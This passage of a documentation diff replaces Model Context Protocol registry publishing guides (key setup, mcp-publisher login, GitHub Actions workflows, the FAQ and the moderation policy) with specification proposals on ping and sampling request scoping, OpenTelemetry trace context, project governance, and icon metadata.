MY_DOMAIN="example.com" - MY_KEY_VAULT="MyKeyVault" - MY_KEY_NAME="MyKey" +`ping` is an MCP-level liveness check and **MAY** be sent by either party at +any time on an established session/connection. - mcp-publisher login dns azure-key-vault --domain="${MY_DOMAIN}" --vault "${MY_KEY_VAULT}" --key "${MY_KEY_NAME}" - ``` - +In Streamable HTTP, implementations **SHOULD** prefer transport-level SSE +keepalive mechanisms for idle-connection maintenance; `ping` remains available +for protocol-level responsiveness checks. -## HTTP Authentication +Request-association requirements for `roots/list`, `sampling/createMessage`, +and `elicitation/create` do not apply to `ping`. -HTTP authentication is a domain-based authentication method that relies on a `/.well-known/mcp-registry-auth` file hosted on your domain. For example, `https://example.com/.well-known/mcp-registry-auth`. + +``` -To perform HTTP authentication using the `mcp-publisher` CLI tool, run the following commands in your server project directory to generate an `mcp-registry-auth` file based on a public/private key pair: +### 2. Clarify Transport Layer Constraints - - ```bash Ed25519 theme={null} - # Generate public/private key pair using Ed25519 - openssl genpkey -algorithm Ed25519 -out key.pem +**In `basic/transports.mdx`, POST-initiated SSE streams (line \~121):** - # Generate mcp-registry-auth file - PUBLIC_KEY="$(openssl pkey -in key.pem -pubout -outform DER | tail -c 32 | base64)" - echo "v=MCPv1; k=ed25519; p=${PUBLIC_KEY}" > mcp-registry-auth - ``` +```diff theme={null} +- The server **MAY** send JSON-RPC _requests_ and _notifications_ before sending the +- JSON-RPC _response_. These messages **SHOULD** relate to the originating client +- _request_. ++ The server **MAY** send JSON-RPC _requests_ and _notifications_ before sending the ++ JSON-RPC _response_. These messages **MUST** relate to the originating client ++ _request_. +``` - ```bash ECDSA P-384 theme={null} - # Generate public/private key pair using ECDSA P-384 - openssl genpkey -algorithm EC -pkeyopt ec_paramgen_curve:secp384r1 -out key.pem +**In `basic/transports.mdx`, GET-initiated standalone SSE streams (line \~147):** - # Generate mcp-registry-auth file - PUBLIC_KEY="$(openssl ec -in key.pem -text -noout -conv_form compressed | grep -A4 "pub:" | tail -n +2 | tr -d ' :\n' | xxd -r -p | base64)" - echo "v=MCPv1; k=ecdsap384; p=${PUBLIC_KEY}" > mcp-registry-auth - ``` +```diff theme={null} +- The server **MAY** send JSON-RPC _requests_ and _notifications_ on the stream. +- These messages **SHOULD** be unrelated to any concurrently-running JSON-RPC +- _request_ from the client. ++ The server **MAY** send JSON-RPC _notifications_ and _pings_ on the stream. ++ These messages **SHOULD** be unrelated to any concurrently-running JSON-RPC ++ _request_ from the client, **except** that `roots/list`, ++ `sampling/createMessage`, and `elicitation/create` requests **MUST NOT** be ++ sent on standalone streams. +``` - ```bash Google KMS theme={null} - MY_DOMAIN="example.com" - MY_PROJECT="myproject" - MY_KEYRING="mykeyring" - MY_KEY_NAME="mykey" +## Backward Compatibility - # Log in using gcloud CLI (https://cloud.google.com/sdk/docs/install) - gcloud auth login +### Impact Assessment - # Set default project - gcloud config set project "${MY_PROJECT}" +This change is expected to have **minimal to no impact** on existing implementations: - # Create a keyring in your project - gcloud kms keyrings create "${MY_KEYRING}" --location global +1. **Common usage patterns are preserved** - Sampling/elicitation within tool execution, resource reading, and prompt handling remain fully supported +2. **No known implementations affected** - Research conducted on GitHub has shown only one implementation of this pattern. This singular implementation is owned by the SEP author. - # Create an Ed25519 signing key - gcloud kms keys create "${MY_KEY_NAME}" --default-algorithm=ec-sign-ed25519 --purpose=asymmetric-signing --keyring="${MY_KEYRING}" --location=global +### What's Disallowed - # Enable Application Default Credentials (ADC) so the publisher tool can sign - gcloud auth application-default login +The following pattern, which was never explicitly documented or recommended, is now explicitly prohibited: - # Attempt login to show the public key - mcp-publisher login http google-kms --domain="${MY_DOMAIN}" --resource="projects/${MY_PROJECT}/locations/global/keyRings/${MY_KEYRING}/cryptoKeys/${MY_KEY_NAME}/cryptoKeyVersions/1" +```python theme={null} +# ❌ PROHIBITED: Standalone server push +async def background_task(): + while True: + await asyncio.sleep(60) + # Try to initiate sampling without any client request context + await session.create_message(...) # NOT ALLOWED +``` - # Copy the "Expected proof record" to `./mcp-registry-auth`: - # v=MCPv1; k=ed25519; p=${PUBLIC_KEY} - ``` +### What Remains Supported - ```bash Azure Key Vault theme={null} - MY_DOMAIN="example.com" - MY_SUBSCRIPTION="subscription name or ID" - MY_RESOURCE_GROUP="MyResourceGroup" - MY_KEY_VAULT="MyKeyVault" - MY_KEY_NAME="MyKey" +The canonical pattern remains fully supported: - # Log in using Azure CLI (https://learn.microsoft.com/en-us/cli/azure/install-azure-cli) - az login +```python theme={null} +# ✅ SUPPORTED: Sampling during tool execution +@mcp.tool() +async def analyze_data(data: str, ctx: Context) -> str: + # Request LLM analysis while processing the tool call + result = await ctx.session.create_message( + messages=[SamplingMessage(role="user", content=...)] + ) + return result.content.text +``` - # Set default subscription - az account set --subscription "${MY_SUBSCRIPTION}" +## Implementation Guidance - # Create a resource group - az group create --location westus --resource-group "${MY_RESOURCE_GROUP}" +### For Server Implementers - # Create a key vault - az keyvault create --name "${MY_KEY_VAULT}" --location westus --resource-group "${MY_RESOURCE_GROUP}" +**No changes required** if your server: - # Create an ECDSA P-384 signing key - az keyvault key create --name "${MY_KEY_NAME}" --vault-name "${MY_KEY_VAULT}" --curve P-384 +* Only uses server-to-client requests within tool handlers +* Only uses server-to-client requests within resource/prompt handlers +* Uses server-to-client requests synchronously as part of processing a client request - # Attempt login to show the public key - mcp-publisher login http azure-key-vault --domain="${MY_DOMAIN}" --vault "${MY_KEY_VAULT}" --key "${MY_KEY_NAME}" +**Changes required** if your server: - # Copy the "Expected proof record" to `./mcp-registry-auth`: - # v=MCPv1; k=ecdsap384; p=${PUBLIC_KEY} - ``` - +* Attempts to initiate server-to-client requests on standalone HTTP GET streams +* Attempts to send server-to-client requests requests independent of client operations +* Has background tasks that try to invoke server-to-client requests -Then host the `mcp-registry-auth` file at `/.well-known/mcp-registry-auth` on your domain. After the file is hosted, log in using the `mcp-publisher login` command: +Alternative designs will need to be implemented for the "Changes Required" case. - - ```bash Ed25519 theme={null} - MY_DOMAIN="example.com" - PRIVATE_KEY="$(openssl pkey -in key.pem -noout -text | grep -A3 "priv:" | tail -n +2 | tr -d ' :\n')" - mcp-publisher login http --domain "${MY_DOMAIN}" --private-key "${PRIVATE_KEY}" - ``` +Implementors performing unsolicited server-to-client requests (typically URL Elicitation) immediately following initialization are encouraged to lazily perform these requests within the scope of a client-to-server request that requires that information from the client. - ```bash ECDSA P-384 theme={null} - MY_DOMAIN="example.com" - PRIVATE_KEY="$(openssl ec -in key.pem -noout -text | grep -A4 "priv:" | tail -n +2 | tr -d ' :\n')" - mcp-publisher login http --domain "${MY_DOMAIN}" --private-key "${PRIVATE_KEY}" - ``` +### Timeout Considerations - ```bash Google KMS theme={null} - MY_DOMAIN="example.com" - MY_PROJECT="myproject" - MY_KEYRING="mykeyring" - MY_KEY_NAME="mykey" +When an MCP Server initiates a "nested" request inside a client request, the duration of the parent request extends to include the user's response time. - mcp-publisher login http google-kms --domain="${MY_DOMAIN}" --resource="projects/${MY_PROJECT}/locations/global/keyRings/${MY_KEYRING}/cryptoKeys/${MY_KEY_NAME}/cryptoKeyVersions/1" - ``` +Implementers **MUST** ensure that: - ```bash Azure Key Vault theme={null} - MY_DOMAIN="example.com" - MY_KEY_VAULT="MyKeyVault" - MY_KEY_NAME="MyKey" +1. Transport timeouts (e.g. HTTP Request Timeout) are sufficient to accommodate "Human-in-the-loop" delays, which may be unbounded. +2. Short timeouts enforced by infrastructure (e.g. Load Balancers) may result in + connection termination before the user responds. For Streamable HTTP, + transport-level SSE keepalive mechanisms **SHOULD** be used to keep + connections alive and reset timers; `ping` requests **MAY** additionally be + used for protocol-level responsiveness checks. - mcp-publisher login http azure-key-vault --domain="${MY_DOMAIN}" --vault "${MY_KEY_VAULT}" --key "${MY_KEY_NAME}" - ``` - +### For Client Implementers +**No changes required** - Clients should already handle sampling/elicitation requests in the context of their own outbound requests. Potential to simplify implementations if out-of-band is currently supported. -# Frequently Asked Questions -Source: https://modelcontextprotocol.io/registry/faq +Clients recieving server-to-client requests with no associated outbound request **SHOULD** respond with a `-32602` (Invalid Params) error. +### For Transport Implementers +Future transport implementations can rely on the guarantee that: - - The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). - +* Sampling/elicitation requests only occur within the scope of a client-initiated request +* Transports don't need to support arbitrary server-initiated request/response flows on standalone channels +* Request correlation and lifecycle management is simplified -## General +## Timeline -### What is the difference between "Official MCP Registry", "MCP Registry", "MCP registry", "MCP Registry API", etc? +(This SEP intends to serve as a public notice of the change prior to future protocol versions that will not be compatible with this usage) -* "MCP Registry API" — An API that implements the [OpenAPI spec](https://github.com/modelcontextprotocol/registry/blob/main/docs/reference/api/openapi.yaml) defined by the MCP Registry. -* "Official MCP Registry API" — The REST API served at `https://registry.modelcontextprotocol.io`, which is a superset of the MCP Registry API. Its OpenAPI spec can be downloaded from [https://registry.modelcontextprotocol.io/openapi.yaml](https://registry.modelcontextprotocol.io/openapi.yaml). -* "MCP registry" — A third-party service that provides an MCP Registry API. -* "Official MCP Registry" (or "The MCP Registry") — The service that lives at `https://registry.modelcontextprotocol.io`. +## Alternatives Considered -### Can I delete/unpublish my server? +### 1. Soft Deprecation -Currently, no. At the time of writing, there is [open discussion](https://github.com/modelcontextprotocol/registry/issues/104). +Use **SHOULD NOT** language to discourage but not prohibit the pattern. -### How do I update my server metadata? +**Rejected because:** The behavior was never intentionally supported, and leaving it ambiguous prevents transport simplification. -Submit a new `server.json` with a unique version string. Once published, version metadata is immutable (similar to npm). +### 2. Keep Current Ambiguity -### Can I add custom metadata when publishing? +Leave the existing **SHOULD** language unchanged. -Yes, custom metadata under `_meta.io.modelcontextprotocol.registry/publisher-provided` is preserved when publishing to the registry. This allows you to include custom metadata specific to your publishing process. +**Rejected because:** This blocks future transport implementations and leaves implementers uncertain about whether the pattern is supported. - - There is a 4KB size limit (4096 bytes of JSON). Publishing will fail if this limit is exceeded. - +### 3. Create a Capability Flag -## Reporting Issues +Add a `sampling.standalone` or similar capability for servers that want this behavior. -### What if I need to report a spam or malicious server? +**Rejected because:** This adds complexity for a use case with no known demand, and contradicts the "nested" design principle. -1. Report it as abuse to the underlying package registry (e.g. NPM, PyPi, DockerHub, etc.); and -2. Raise a GitHub issue on the registry repo with a title beginning `Abuse report: ` +## References -### What if I need to report a security vulnerability in the registry itself? +* Current sampling documentation: `/specification/draft/client/sampling.mdx` +* Current elicitation documentation: `/specification/draft/client/elicitation.mdx` +* Transport specification: `/specification/draft/basic/transports.mdx` +* User interaction model discussion in client concepts documentation -Follow [the MCP community SECURITY.md](https://github.com/modelcontextprotocol/.github/blob/main/SECURITY.md). +# SEP-414: Document OpenTelemetry Trace Context Propagation Conventions +Source: https://modelcontextprotocol.io/seps/414-request-meta -# How to Automate Publishing with GitHub Actions -Source: https://modelcontextprotocol.io/registry/github-actions +Document OpenTelemetry Trace Context Propagation Conventions +
+ + Final + + + Standards Track + +
- - The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). - +| Field | Value | +| ------------- | ----------------------------------------------------------------------------- | +| **SEP** | 414 | +| **Title** | Document OpenTelemetry Trace Context Propagation Conventions | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-04-25 | +| **Author(s)** | Adrian Cole ([@codefromthecrypt](https://github.com/codefromthecrypt)) | +| **Sponsor** | Marcelo Trylesinski ([@Kludex](https://github.com/Kludex)) | +| **PR** | [#414](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/414) | -## Step 1: Create a Workflow File +*** -In your server project directory, create a `.github/workflows/publish-mcp.yml` file. Here is an example for npm-based local server, but the MCP Registry publishing steps are the same for all package types: +## Abstract - - ```yaml OIDC authentication (recommended) theme={null} - name: Publish to MCP Registry +This SEP documents conventions for OpenTelemetry (OTel) trace context propagation in MCP. - on: - push: - tags: ["v*"] # Triggers on version tags like v1.0.0 +[OTel semantic conventions for MCP](https://github.com/open-telemetry/semantic-conventions/blob/e126ea9105b15912ccd80deab98929025189b696/docs/gen-ai/mcp.md#context-propagation) +specify using `_meta` as the carrier for W3C Trace Context keys. This is already in practice in the +C# SDK and other implementations. - jobs: - publish: - runs-on: ubuntu-latest - permissions: - id-token: write # Required for OIDC authentication - contents: read +This specification documents an exception to the DNS prefixing convention for keys in `_meta`. +This enables interoperability across existing and new implementations and serves as a foundation +for related SEPs (such as [SEP-2028](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2028)). - steps: - - name: Checkout code - uses: actions/checkout@v5 +## Specification - ### Publish underlying npm package: +This SEP adds documentation to the MCP specification, noting: - - name: Set up Node.js - uses: actions/setup-node@v5 - with: - node-version: "lts/*" +1. When OTel trace context is propagated via `_meta`, the keys `traceparent`, `tracestate`, and + `baggage` follow [W3C Trace Context](https://www.w3.org/TR/trace-context/) and + [W3C Baggage](https://www.w3.org/TR/baggage/) value formats. - - name: Install dependencies - run: npm ci +2. A non-normative example showing trace context in `_meta`. - - name: Run tests - run: npm run test --if-present +3. A note clarifying why this an exception to DNS prefixing keys in `_meta`: to remain + compatible with existing implementations and the OpenTelemetry semantic conventions. - - name: Build package - run: npm run build --if-present +See [agentclientprotocol/agent-client-protocol#297](https://github.com/agentclientprotocol/agent-client-protocol/pull/297) +for equivalent documentation changes in ACP. - - name: Publish package to npm - run: npm publish - env: - NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} +### Non-normative example - ### Publish MCP server: +```json theme={null} +{ + "jsonrpc": "2.0", + "id": 2, + "method": "tools/call", + "params": { + "name": "get_weather", + "arguments": { + "location": "New York" + }, + "_meta": { + "traceparent": "00-0af7651916cd43dd8448eb211c80319c-00f067aa0ba902b7-01" + } + } +} +``` - - name: Install mcp-publisher - run: | - curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_$(uname -s | tr '[:upper:]' '[:lower:]')_$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/').tar.gz" | tar xz mcp-publisher +## Rationale - - name: Authenticate to MCP Registry - run: ./mcp-publisher login github-oidc +### Why document this? - # Optional: - # - name: Set version in server.json - # run: | - # VERSION=${GITHUB_REF#refs/tags/v} - # jq --arg v "$VERSION" '.version = $v' server.json > server.tmp && mv server.tmp server.json +This is currently documented elsewhere, but not as an MCP specification. Doing so ensures that +SEPs depending on this pattern can complete, as well as other SDKs in and outside the MCP org +can as well, such as [Logfire](https://github.com/pydantic/logfire/blob/09232402fd7e268c667db59d1e9f890ed30f7850/logfire/_internal/integrations/mcp.py#L149-L162) and [ToolHive](https://github.com/stacklok/toolhive/issues/3399). - - name: Publish server to MCP Registry - run: ./mcp-publisher publish - ``` +If we don't document this shared concern, differing interpretations could materialize, such +as namespacing traceparent like `io.modelcontextprotocol.traceparent`, which will break traces +and log correlation. - ```yaml PAT authentication theme={null} - name: Publish to MCP Registry +### Related SEPs - on: - push: - tags: ["v*"] # Triggers on version tags like v1.0.0 +* [SEP-1788](https://github.com/modelcontextprotocol/modelcontextprotocol/issues/1788) - reserved + keys in `_meta`; should be updated with `traceparent`, `tracestate`, and `baggage` when this + SEP is implemented +* [SEP-2028](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/2028) - builds on + this SEP for forwarding `_meta` values to HTTP headers - jobs: - publish: - runs-on: ubuntu-latest - permissions: - contents: read +## Backward Compatibility - steps: - - name: Checkout code - uses: actions/checkout@v5 +This SEP documents existing conventions and is backward compatible. - ### Publish underlying npm package: +## Security Implications - - name: Set up Node.js - uses: actions/setup-node@v5 - with: - node-version: "lts/*" +Trace context in `_meta` may include correlation IDs. Implementations should follow existing +data-handling guidance appropriate to their environment. - - name: Install dependencies - run: npm ci +## Reference Implementation - - name: Run tests - run: npm run test --if-present +Existing implementations using this pattern: - - name: Build package - run: npm run build --if-present +* [C# SDK instrumentation](https://github.com/modelcontextprotocol/csharp-sdk/blob/main/src/ModelContextProtocol.Core/Diagnostics.cs) +* [Python SDK instrumentation](https://github.com/modelcontextprotocol/python-sdk/pull/1693) +* [OpenInference MCP instrumentation (Python)](https://github.com/Arize-ai/openinference/tree/main/python/instrumentation/openinference-instrumentation-mcp) +* [OpenInference MCP instrumentation (TypeScript)](https://github.com/Arize-ai/openinference/tree/main/js/packages/openinference-instrumentation-mcp) +* [Envoy AI Gateway](https://github.com/envoyproxy/ai-gateway/blob/6331b54aef81dd6c8d3d184acc4e2cb8167cea2a/internal/tracing/tracingapi/mcp.go) +* [Logfire](https://github.com/pydantic/logfire/blob/09232402fd7e268c667db59d1e9f890ed30f7850/logfire/_internal/integrations/mcp.py#L149-L162) +* [ToolHive](https://github.com/stacklok/toolhive/issues/3399) - - name: Publish package to npm - run: npm publish - env: - NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} - ### Publish MCP server: +# SEP-932: Model Context Protocol Governance +Source: https://modelcontextprotocol.io/seps/932-model-context-protocol-governance - - name: Install mcp-publisher - run: | - curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_$(uname -s | tr '[:upper:]' '[:lower:]')_$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/').tar.gz" | tar xz mcp-publisher +Model Context Protocol Governance - - name: Authenticate to MCP Registry - run: ./mcp-publisher login github --token ${{ secrets.MCP_GITHUB_TOKEN }} +
+ + Final + - # Optional: - # - name: Set version in server.json - # run: | - # VERSION=${GITHUB_REF#refs/tags/v} - # jq --arg v "$VERSION" '.version = $v' server.json > server.tmp && mv server.tmp server.json + + Process + +
- - name: Publish server to MCP Registry - run: ./mcp-publisher publish - ``` +| Field | Value | +| ------------- | ----------------------------------------------------------------------------- | +| **SEP** | 932 | +| **Title** | Model Context Protocol Governance | +| **Status** | Final | +| **Type** | Process | +| **Created** | 2025-07-08 | +| **Author(s)** | David Soria Parra | +| **Sponsor** | None | +| **PR** | [#931](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/931) | - ```yaml DNS authentication theme={null} - name: Publish to MCP Registry +*** - on: - push: - tags: ["v*"] # Triggers on version tags like v1.0.0 +## Abstract - jobs: - publish: - runs-on: ubuntu-latest - permissions: - contents: read +This SEP establishes the formal governance model for the Model Context Protocol (MCP) project. It defines the organizational structure, decision-making processes, and contribution guidelines necessary for transparent and effective project stewardship. The proposal introduces a hierarchical governance structure with clear roles and responsibilities, along with the Specification Enhancement Proposal (SEP) process for managing protocol changes. - steps: - - name: Checkout code - uses: actions/checkout@v5 +## Motivation - ### Publish underlying npm package: +As the Model Context Protocol grows in adoption and complexity, the need for formal governance becomes critical. The current informal decision-making process lacks: - - name: Set up Node.js - uses: actions/setup-node@v5 - with: - node-version: "lts/*" +1. **Transparency**: Community members have no clear visibility into how decisions are made +2. **Participation Pathways**: Contributors lack defined ways to influence project direction +3. **Accountability**: No formal structure exists for resolving disputes or contentious issues +4. **Scalability**: Ad-hoc processes cannot scale with growing community and technical complexity - - name: Install dependencies - run: npm ci +Without formal governance, the project risks: - - name: Run tests - run: npm run test --if-present +* Fragmentation of the ecosystem +* Unclear or inconsistent technical decisions +* Reduced community trust and participation +* Inability to effectively manage contributions at scale - - name: Build package - run: npm run build --if-present +## Rationale - - name: Publish package to npm - run: npm publish - env: - NODE_AUTH_TOKEN: ${{ secrets.NPM_TOKEN }} +The proposed governance model draws inspiration from successful open source projects like Python, PyTorch, and Rust. Key design decisions include: - ### Publish MCP server: +### Hierarchical Structure - - name: Install mcp-publisher - run: | - curl -L "https://github.com/modelcontextprotocol/registry/releases/latest/download/mcp-publisher_$(uname -s | tr '[:upper:]' '[:lower:]')_$(uname -m | sed 's/x86_64/amd64/;s/aarch64/arm64/').tar.gz" | tar xz mcp-publisher +We chose a hierarchical model (Contributors → Maintainers → Core Maintainers → Lead Maintainers) that is effectively how the project decisions are made today. From there we will continue to evolve governance in the best interest of the project. - # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! - # TODO: Replace `example.com` with your domain name - # !!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!!! - - name: Authenticate to MCP Registry - run: ./mcp-publisher login dns --domain example.com --private-key ${{ secrets.MCP_PRIVATE_KEY }} +### Individual vs Corporate Membership - # Optional: - # - name: Set version in server.json - # run: | - # VERSION=${GITHUB_REF#refs/tags/v} - # jq --arg v "$VERSION" '.version = $v' server.json > server.tmp && mv server.tmp server.json +Membership is explicitly tied to individuals rather than companies to: - - name: Publish server to MCP Registry - run: ./mcp-publisher publish - ``` -
+* Ensure decisions prioritize protocol integrity over corporate interests +* Prevent capture by any single organization +* Maintain continuity when individuals change employers -## Step 2: Add Secrets +### SEP Process -You may need to add a secret to the repository depending on which authentication method you choose: +The Specification Enhancement Proposal process ensures: -* **GitHub OIDC Authentication**: No dedicated secret necessary. -* **GitHub PAT Authentication**: Add a `MCP_GITHUB_TOKEN` secret with a GitHub Personal Access Token (PAT) that has `read:org` and `read:user` scopes. -* **DNS Authentication**: Add a `MCP_PRIVATE_KEY` secret with your Ed25519 private key. +* All protocol changes undergo thorough review +* Community input is systematically collected +* Design decisions are documented for posterity +* Implementation precedes finalization -You may also need to add secrets for your package registry. For example, the workflow above needs an `NPM_TOKEN` secret with your npm token. +## Specification -For information about how to add secrets to a repository, see [Using secrets in GitHub Actions](https://docs.github.com/en/actions/how-tos/write-workflows/choose-what-workflows-do/use-secrets). +### Governance Structure -## Step 3: Tag and Release +#### Contributors -Create and push a version tag to trigger the workflow: +* Any individual who files issues, submits pull requests, or participates in discussions +* No formal membership or approval required -```bash theme={null} -git tag v1.0.0 -git push origin v1.0.0 -``` +#### Maintainers -The workflow will run tests, build the package, publish the package to npm, and publish the server to the MCP Registry. +* Responsible for specific components (SDKs, documentation, etc.) +* Appointed by Core Maintainers +* Have write/admin access to their repositories +* May establish component-specific processes -## Troubleshooting +#### Core Maintainers + +* Deep understanding of MCP specification required +* Responsible for protocol evolution and project direction +* Meet bi-weekly for decisions +* Can veto maintainer decisions by majority vote +* Current members listed in governance documentation -| Error Message | Action | -| --------------------------- | ------------------------------------------------------------------------------------------------------------------------------------------------------------------------------ | -| "Authentication failed" | Ensure `id-token: write` permission is set for OIDC, or check secrets. | -| "Package validation failed" | Verify your package successfully published to the package registry (e.g., npm, PyPI), and that your package has the [necessary verification information](./package-types.mdx). | +#### Lead Maintainers +* Justin Spahr-Summers and David Soria Parra +* Can veto any decision +* Appoint/remove Core Maintainers +* Admin access to all infrastructure -# The MCP Registry Moderation Policy -Source: https://modelcontextprotocol.io/registry/moderation-policy +## Backwards Compatibility +N/A +## Reference Implementation - - The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). - +See #931 -**TL;DR**: The MCP Registry is quite permissive! We only remove illegal content, malware, spam, and completely broken servers. +1. **Documentation Files**: + * `/docs/community/governance.mdx` - Full governance documentation + * `/docs/community/sep-guidelines.mdx` - SEP process guidelines -## Scope +## Security Implications -This policy applies to the official MCP Registry at `registry.modelcontextprotocol.io`. +N/A -Subregistries may have their own moderation policies. If you have questions about content on a specific subregistry, please contact them directly. -## Disclaimer +# SEP-973: Expose additional metadata for Implementations, Resources, Tools and Prompts +Source: https://modelcontextprotocol.io/seps/973-expose-additional-metadata-for-implementations-res -The MCP Registry **does not** make guarantees about moderation, and consumers should assume minimal-to-no moderation. +Expose additional metadata for Implementations, Resources, Tools and Prompts -The MCP Registry is a community supported project, and we have limited active moderation capabilities. We largely rely on upstream package registries (like NPM, PyPI, and Docker) or downstream subregistries (like the GitHub MCP Registry) to do more in-depth moderation. +
+ + Final + -This means there may be content in the MCP Registry that should be removed under this policy, but which we haven't yet removed. Consumers should treat scraped data accordingly. + + Standards Track + +
-## What We Remove +| Field | Value | +| ------------- | ----------------------------------------------------------------------------- | +| **SEP** | 973 | +| **Title** | Expose additional metadata for Implementations, Resources, Tools and Prompts | +| **Status** | Final | +| **Type** | Standards Track | +| **Created** | 2025-07-15 | +| **Author(s)** | [@jesselumarie](https://github.com/jesselumarie) | +| **Sponsor** | None | +| **PR** | [#973](https://github.com/modelcontextprotocol/modelcontextprotocol/pull/973) | -We will remove servers that contain: +*** -* Illegal content, which includes obscene content, copyright violations, and hacking tools -* Malware, regardless of intentions -* Spam, especially mass-created servers that disrupt the registry. Examples: - * The same server being submitted multiple times under different names - * A server that doesn't do anything but provide a fixed response with some marketing copy - * A server with a description stuffed with marketing copy and an unrelated implementation -* Non-functioning servers +## Abstract -## What We Don't Remove +This SEP proposes adding two optional fields—`icons` and `websiteUrl`. The `icons` and `websiteUrl` would be added to the `Implementation` schema so that clients can visually identify third-party implementations and link directly to their documentation. The `icons` parameter will also be added to the `Tool`, `Resource` and `Prompt` schemas. While this can be used by both servers and clients for all implementations, we expect it to be used initially for server-provided implementations. -Generally, we believe in keeping the registry open and pushing moderation to subregistries. We therefore **won't** remove: +## Motivation -* Low-quality or buggy servers -* Servers with security vulnerabilities -* Servers that do the same thing as other servers -* Servers that provide or contain adult content +### Current State -## How Removal Works +Current implementations only expose namespaced metadata, forcing clients to display generic labels with no visual cues. -When we remove a server, we set the server's `status` to `"deleted"`, but the server's metadata remains accessible via the MCP Registry API. Aggregators may then remove the server from their indexes. +Image -In extreme cases, we may overwrite or erase the server's metadata. For example, if the metadata itself is unlawful. +### Proposed State -## Appeals +The proposed implementation would allow us to add visual affordances and links to documentation, making it easier to visually identify which servers/clients are providing an implementation e.g. a tool in a slash command interface: -Think we made a mistake? Open an issue on our [GitHub repository](https://github.com/modelcontextprotocol/registry) with: +Image -* The name of the server -* Why you believe the server doesn't meet the above criteria for removal +* **Visual Affordance:** Icons make it immediately clear to users which tool or resource source is in use. +* **Discoverability:** A link to documentation (`websiteUrl`) allows clients to direct users to more information with a single click. -## Changes to This Policy +## Rationale -We're still learning how best to run the MCP Registry! As such, we might end up changing this policy in the future. +This design builds on prior work in web manifests (MDN) and consolidates community feedback: +* **Consolidation of PRs:** Merges the changes from PR #417 and PR #862 into a single, cohesive enhancement. +* **Flexible Icon Sizes:** Supports multiple icon sizes (e.g., `48x48`, `96x96`, or `any` for vector formats) to accommodate different client UI needs. +* **Optional Fields:** By making both fields optional, existing implementations remain fully compatible. -# MCP Registry Supported Package Types -Source: https://modelcontextprotocol.io/registry/package-types +## Specification +Extend the `Implementation` object as follows: +```typescript theme={null} +/** + * A url pointing to an icon URL or a base64-encoded data URI + * + * Clients that support rendering icons MUST support at least the following MIME types: + * - image/png - PNG images (safe, universal compatibility) + * - image/jpeg (and image/jpg) - JPEG images (safe, universal compatibility) + * + * Clients that support rendering icons SHOULD also support: + * - image/svg+xml - SVG images (scalable but requires security precautions) + * - image/webp - WebP images (modern, efficient format) + */ +export interface Icon { + /** + * A standard URI pointing to an icon resource. + * + * Consumers MUST takes steps to ensure URLs serving icons are from the + * same domain as the client/server or a trusted domain. + * + * Consumers MUST take appropriate precautions when consuming SVGs as they can contain + * executable JavaScript + * + * @format uri + */ + src: string; + /** Optional override if the server’s MIME type is missing or generic. */ + mimeType?: string; + /** e.g. "48x48", "any" (for SVG), or "48x48 96x96" */ + sizes?: string; +} - - The MCP Registry is currently in preview. Breaking changes or data resets may occur before general availability. If you encounter any issues, please report them on [GitHub](https://github.com/modelcontextprotocol/registry/issues). - +/** + * Describes the MCP implementation + */ +export interface Implementation extends BaseMetadata { + version: string; + /** + * An optional list of icons for this implementation. + * This can be used by clients to display the implementation in a user interface. + * Each icon should have a `kind` property that specifies whether it is a data representation or a URL source, a `src` property that points to the icon file or data representation, and may also include a `mimeType` and `sizes` property. + * The `mimeType` property should be a valid MIME type for the icon file, such as "image/png" or "image/svg+xml". + * The `sizes` property should be a string that specifies one or more sizes at which the icon file can be used, such as "48x48" or "any" for scalable formats like SVG. + * The `sizes` property is optional, and if not provided, the client should assume that the icon can be used at any size. + */ + icons?: Icon[]; + /** + * An optional URL of the website for this implementation. + * + * Consumers MUST takes steps to ensure URLs serving icons are from the + * same domain as the client/server or a trusted domain. + * + * Consumers MUST take appropriate precautions when consuming SVGs as they can contain + * executable JavaScript + * + * @format: uri + */ + websiteUrl?: string; +} +``` -# Package Types +Extend the `Tool`, `Resource` and `Prompt` interfaces with the following type: -The MCP Registry supports several different package types, and each package type has its own verification method. +```typescript theme={null} + /** + * An optional list of icons for a resource. + * This can be used by clients to display the resource's icon in a user interface. + * Each icon should have a `kind` property that specifies whether it is a data representation or a URL source, a `src` property that points to the icon file or data representation, and may also include a `mimeType` and `sizes` property. + * The `mimeType` property should be a valid MIME type for the icon file, such as "image/png" or "image/svg+xml". + * The `sizes` property should be a string that specifies one or more sizes at which the icon file can be used, such as "48x48" or "any" for scalable formats like SVG. + * The `sizes` property is optional, and if not provided, the client should assume that the icon can be used at any size. + */ + icons?: Icon[]; +``` -## npm Packages +## Backwards Compatibility -For npm packages, the MCP Registry currently supports the npm public registry (`https://registry.npmjs.org`) only. +Both icons and websiteUrl are optional fields; clients that ignore them will fall back to existing behavior. -npm packages use `"registryType": "npm"` in `server.json`. For example: +## Security Implications -```json server.json highlight={9} theme={null} -{ - "$schema": "https://static.modelcontextprotocol.io/schemas/2025-12-11/server.schema.json", - "name": "io.github.username/email-integration-mcp", - "title": "Email Integration", - "description": "Send emails and manage email accounts", - "version": "1.0.0", - "packages": [ - { - "registryType": "npm", - "identifier": "@username/email-integration-mcp", - "version": "1.0.0", - "transport": { - "type": "stdio" - } - } - ] -} -``` +This shouldn't introduce any new security implications. -### Ownership Verification -The MCP Registry verifies ownership of npm packages by checking 